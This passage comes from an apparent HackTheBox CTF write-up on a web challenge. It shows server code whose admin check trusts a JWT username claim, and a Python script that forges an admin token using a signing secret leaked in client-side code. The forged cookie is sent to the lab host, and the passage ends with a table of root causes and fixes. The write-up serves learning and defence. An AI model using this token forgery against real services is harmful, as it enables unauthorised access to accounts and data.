  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tickets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_tickets&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;tickets&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Access denied. Admin privileges required.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Access control here is entirely dependent on one thing: the &lt;code&gt;username&lt;/code&gt; claim decoded out of the client-supplied &lt;code&gt;session_token&lt;/code&gt; cookie. There's no separate role or permission field - just a string equality check against &lt;code&gt;"admin"&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;database.js&lt;/code&gt; confirmed the payoff. A seeded ticket belonging to &lt;code&gt;admin&lt;/code&gt; holds the flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter ${flag}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the path to the flag is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Forge a JWT with &lt;code&gt;username: "admin"&lt;/code&gt;, signed with the leaked secret &lt;code&gt;halloween-secret&lt;/code&gt; → hit &lt;code&gt;GET /tickets&lt;/code&gt; → read the admin ticket's content.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  3. Exploitation
&lt;/h2&gt;

&lt;p&gt;Since the server signs and verifies with the same symmetric secret found in the client-side bundle, forging a valid admin token just means signing our own JWT with that key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="n"&gt;JWT_SECRET&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;halloween-secret&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;iat&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;forged_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;JWT_SECRET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HS256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forged_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This produces a token such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzg0Mjg4NjQ4fQ.&amp;lt;signature&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The forged token was set as the &lt;code&gt;session_token&lt;/code&gt; cookie and sent to the protected endpoint (confirmed working in Burp Repeater):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/tickets&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;154.57.164.73:31677&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;session_token=&amp;lt;forged admin JWT&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Result
&lt;/h2&gt;

&lt;p&gt;The server accepted the forged token, decoded &lt;code&gt;username: "admin"&lt;/code&gt; from it, and returned the full ticket list - including the admin-only entry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter HTB{REDACTED}"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;HTB{REDACTED}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Root Cause &amp;amp; Fix
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Issue&lt;/th&gt;
&lt;th&gt;Why it matters&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;JWT secret embedded in client-side JS&lt;/td&gt;
&lt;td&gt;Anyone loading the page can read the exact signing key&lt;/td&gt;
&lt;td&gt;Never generate or sign session tokens client-side; issue tokens only from the server after real authentication&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Access control keyed on a raw JWT claim string&lt;/td&gt;
&lt;td&gt;Any token bearer can set &lt;code&gt;username&lt;/code&gt; to whatever they like if they know the secret&lt;/td&gt;
&lt;td&gt;Enforce role checks server-side against a trusted source (session store / DB), not a self-asserted claim&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Guest sessions minted without any server-side authentication step&lt;/td&gt;
&lt;td&gt;No proof of identity is ever established&lt;/td&gt;
&lt;td&gt;Require the server to issue and sign tokens itself, using a secret that never leaves the backend&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>writeup</category>
    </item>
  </channel>
</rss>
